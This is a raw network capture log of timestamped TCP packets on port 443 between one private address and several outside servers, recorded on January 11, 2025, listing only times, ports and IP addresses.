Jan 11, 2025 01:11:47.236769915 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.236846924 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.236931086 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.272512913 CET	49716	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:47.272538900 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.279335976 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.288580894 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.288604021 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.317404032 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.317471981 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.317495108 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.317518950 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.317534924 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.317548990 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.317559958 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.317598104 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.317619085 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.317631006 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.317989111 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.318036079 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.318043947 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.326229095 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.326261044 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.326287031 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.326291084 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.326318979 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.326344967 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.336606026 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.363188028 CET	443	49716	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:47.363262892 CET	443	49716	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:47.363326073 CET	49716	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:47.363785982 CET	49716	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:47.363802910 CET	443	49716	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:47.365392923 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:47.365432024 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:47.365526915 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:47.365787983 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:47.365804911 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:47.368491888 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.382436991 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.382483006 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.382510900 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.382536888 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.382559061 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.382574081 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.382698059 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.382767916 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.382817030 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.382824898 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.383121967 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.383188963 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.383198023 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.387197971 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.387229919 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.387260914 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.387262106 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.387283087 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.387398005 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.405170918 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.405251980 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.405342102 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.405375957 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.405401945 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.405440092 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.405445099 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.405453920 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.405510902 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.405515909 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.406023026 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.406052113 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.406085014 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.406090021 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.406095028 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.406163931 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.406168938 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.406212091 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.406824112 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.406872034 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.406949043 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.406954050 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.407541990 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.407602072 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.407605886 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.413822889 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.413865089 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.413892984 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.413896084 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.413907051 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.413954020 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.413960934 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.414002895 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.414007902 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.414196968 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.414242029 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.414247990 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.432702065 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.464526892 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.474746943 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.474823952 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.474853992 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.474891901 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.474914074 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.474992990 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.475014925 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.475023031 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.475069046 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.475387096 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.475449085 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.475481033 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.475579977 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.475588083 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.475631952 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.475961924 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.476035118 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.476073980 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.476093054 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.476100922 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.476150036 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.476165056 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.476174116 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.476418972 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.476427078 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.476808071 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.476844072 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.476862907 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.476871967 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.476905107 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.476934910 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.476937056 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.476950884 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.476999044 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.477588892 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.477713108 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.477725029 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.477839947 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.479005098 CET	49718	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.479026079 CET	443	49718	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.492369890 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.492436886 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.492465973 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.492494106 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.492494106 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.492510080 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.492541075 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.492980957 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.493012905 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.493025064 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.493031025 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.493069887 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.493072033 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.493083954 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.493138075 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.494623899 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.494637966 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.494689941 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.494730949 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.494739056 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.494790077 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.495502949 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.495582104 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.495588064 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.495605946 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.495673895 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.495902061 CET	49717	443	192.168.2.16	151.101.194.137
Jan 11, 2025 01:11:47.495913029 CET	443	49717	151.101.194.137	192.168.2.16
Jan 11, 2025 01:11:47.499346972 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.499378920 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.499432087 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.499847889 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.499859095 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.519177914 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:47.519243956 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:47.519325972 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:47.519565105 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:47.519584894 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:47.659578085 CET	49722	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:11:47.659609079 CET	443	49722	172.217.18.4	192.168.2.16
Jan 11, 2025 01:11:47.659696102 CET	49722	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:11:47.659914017 CET	49722	443	192.168.2.16	172.217.18.4
Jan 11, 2025 01:11:47.659929037 CET	443	49722	172.217.18.4	192.168.2.16
Jan 11, 2025 01:11:47.766499996 CET	49678	443	192.168.2.16	20.189.173.10
Jan 11, 2025 01:11:47.823446035 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:47.823816061 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:47.823846102 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:47.824192047 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:47.824529886 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:47.824598074 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:47.824683905 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:47.867351055 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:47.958726883 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:47.958782911 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:47.958820105 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:47.958837986 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:47.958863974 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:47.958914995 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:47.958934069 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:47.958941936 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:47.959006071 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:47.959229946 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:47.959537983 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:47.959577084 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:47.959604025 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:47.959611893 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:47.959661961 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:47.963485956 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:47.965020895 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.965251923 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.965277910 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.966331959 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.966401100 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.966748953 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.966813087 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.966881990 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:47.966891050 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:47.990468025 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:47.990783930 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:47.990822077 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:47.991898060 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:47.991983891 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:47.992338896 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:47.992407084 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:47.992503881 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:47.992512941 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:48.005579948 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.005605936 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.021526098 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:48.037528992 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:48.046039104 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.046080112 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.046113968 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.046153069 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.046175957 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.046225071 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.046245098 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.046592951 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.046850920 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.046906948 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.046937943 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.046967983 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.046977043 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.047075987 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.047571898 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.047665119 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.047698975 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.047729015 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.047734976 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.047744036 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.047801971 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.048552990 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.048624992 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.048659086 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.048790932 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.048790932 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.048801899 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.049377918 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.049415112 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.049448013 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.049453020 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.049463034 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.049767971 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.050153971 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.050194025 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.050280094 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.050460100 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.050460100 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.050733089 CET	49719	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.050753117 CET	443	49719	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.061528921 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.061594009 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.061826944 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.062087059 CET	49723	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:48.062104940 CET	443	49723	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:48.076297045 CET	49724	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.076337099 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.076399088 CET	49724	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.076622009 CET	49724	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:48.076634884 CET	443	49724	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:48.102371931 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:48.107961893 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.108011961 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.108043909 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.108072996 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.108088970 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:48.108103037 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.108114004 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.108129025 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:48.108154058 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:48.108160973 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.108700037 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.108732939 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.108741999 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:48.108747959 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.108855963 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:48.108861923 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.118427992 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:48.118438005 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:48.118457079 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:48.118496895 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:48.118513107 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:48.118566036 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:48.118593931 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:48.164506912 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:48.164551020 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.195019007 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:48.195044994 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:48.195158005 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:48.195203066 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:48.195257902 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:48.196901083 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:48.196927071 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:48.196986914 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:48.196997881 CET	443	49721	151.101.2.137	192.168.2.16
Jan 11, 2025 01:11:48.197030067 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:48.197052002 CET	49721	443	192.168.2.16	151.101.2.137
Jan 11, 2025 01:11:48.197058916 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.197103024 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.197124958 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:48.197137117 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.197149992 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.197177887 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:48.197483063 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.197525024 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.197556973 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.197577953 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:48.197593927 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.197613955 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:48.198412895 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.198457956 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.198489904 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.198501110 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:48.198518038 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.198546886 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:48.199220896 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.199261904 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.199296951 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.199321032 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:48.199335098 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.199356079 CET	49720	443	192.168.2.16	104.17.25.14
Jan 11, 2025 01:11:48.200136900 CET	443	49720	104.17.25.14	192.168.2.16
Jan 11, 2025 01:11:48.200176954 CET	443	49720	104.17.25.14	192.168.2.16
